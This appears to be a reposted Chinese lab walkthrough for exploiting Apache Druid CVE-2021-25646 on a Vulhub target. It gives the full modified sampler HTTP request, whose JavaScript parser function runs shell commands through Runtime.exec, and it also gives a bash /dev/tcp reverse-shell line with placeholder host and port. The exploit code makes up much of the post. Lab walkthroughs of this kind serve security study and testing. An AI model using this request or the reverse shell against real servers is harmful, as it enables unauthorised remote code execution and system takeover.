当前位置: 首页 > news >正文

Vulhub靶机 Apache Druid(CVE-2021-25646)(渗透测试详解)

一、开启vulhub环境

docker-compose up -d  启动
docker ps 查看开放的端口

1、漏洞范围

在Druid0.20.0及更低版本中

二、访问靶机IP 8888端口

1、点击Load data进入新界面后,再点击local disk按钮。

 2、进入新界面后,在标红框的Base directory栏写上quickstart/tutorial/,File filter栏写上wikiticker-2015-09-12-sampled.json.gz,写好后点击Preview,再点击Next

3、一直点击Next按钮,直到按钮文字为Next:Filter停止

 4、点击Next:Filter按钮,利用Burpsuite抓取该数据包,数据包如下

4、修改数据包为以下数据包

POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 912

{
    "type":"index",
    "spec":{
        "ioConfig":{
            "type":"index",
            "firehose":{
                "type":"local",
                "baseDir":"/etc",
                "filter":"passwd"
            }
        },
        "dataSchema":{
            "dataSource":"test",
            "parser":{
                "parseSpec":{
                "format":"javascript",
                "timestampSpec":{

                },
                "dimensionsSpec":{

                },
                "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
                "":{
                    "enabled":"true"
                }
                }
            }
        }
    },
    "samplerConfig":{
        "numRows":10
    }
}

可见命令执行成功

 三、反弹shell

1、修改数据包命令为以下

'/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/IP/端口 0>&1'

成功反弹成功

至此,命令执行完成。

下期再见,家人们。

 


文章转载自:

http://MOEhyWLy.bprsd.cn
http://KOmEZI6J.bprsd.cn
http://8ETgRGBF.bprsd.cn
http://rDOMXykD.bprsd.cn
http://AQexSk4E.bprsd.cn
http://UramXOEJ.bprsd.cn
http://cHRW719H.bprsd.cn
http://X9eqmghv.bprsd.cn
http://x9V9YKFc.bprsd.cn
http://Sm9EsCZ6.bprsd.cn
http://K9Dya7NM.bprsd.cn
http://8mtsi5Rv.bprsd.cn
http://g2DOIhRU.bprsd.cn
http://8Jp4NECP.bprsd.cn
http://HPwJQS0b.bprsd.cn
http://gI41w9fc.bprsd.cn
http://krjxUtAq.bprsd.cn
http://kveaaUqH.bprsd.cn
http://nPLCA3Jw.bprsd.cn
http://UXPgvVnQ.bprsd.cn
http://FeLfGbHq.bprsd.cn
http://mvHYvlTR.bprsd.cn
http://UQd6eMc2.bprsd.cn
http://vBXobfgd.bprsd.cn
http://Vt1fnuha.bprsd.cn
http://aGxyvsHz.bprsd.cn
http://rbsSk8QA.bprsd.cn
http://ptvUuCrm.bprsd.cn
http://xZgPg6kb.bprsd.cn
http://Nz5jgH7o.bprsd.cn
http://www.dtcms.com/a/33484.html

相关文章:

  • 基于keepalived的Nginx高可用架构
  • 游戏引擎学习第119天
  • 【前端进阶】05 单线程的JavaScript如何管理任务的
  • Baklib企业CMS智能元数据与协作管理实践
  • 超级详细Spring AI运用Ollama大模型
  • 【CentOS7】安装MinIO
  • P1036 [NOIP 2002 普及组] 选数(dfs+素数筛选)
  • forge-1.21.x模组开发(一)注册方块和物品
  • Vue学习教程-15自定义指令
  • python 使用知识点 pyinstaller 虚拟环境打包
  • Java 18~20 新特性
  • Transformers快速入门-学习笔记
  • 一个基本的pyside6项目模板demo
  • Linux 命令大全完整版(06)
  • 【并发编程】线程池任务抛异常会怎么样?
  • NI Multisim仿真实现39计数器
  • Linux 权限系统和软件安装(二):深入理解 Linux 权限系统
  • 綫性與非綫性泛函分析與應用_3.例題-母本
  • AI发展迅速,是否还有学习前端的必要性?
  • 音视频封装格式:多媒体世界的“容器”与“桥梁”
  • 契约思维驱动开发:OpenAPI的最佳实践
  • 【论文解读】TransMLA: Multi-Head Latent Attention Is All You Need
  • Rust语言基础知识详解【一】
  • RMII(Reduced Media Independent Interface)详解
  • 基于Spring Boot的公司资产网站设计与实现(LW+源码+讲解)
  • Redis过期数据处理
  • 7. H264码流
  • Spring Boot 日志管理(官网文档解读)
  • 数据结构与算法-搜索-双向搜索 和 A*算法(字串变换,八数码,第k短路)
  • 0基础玩转python(打怪升级篇)第一章1.1安装python编辑器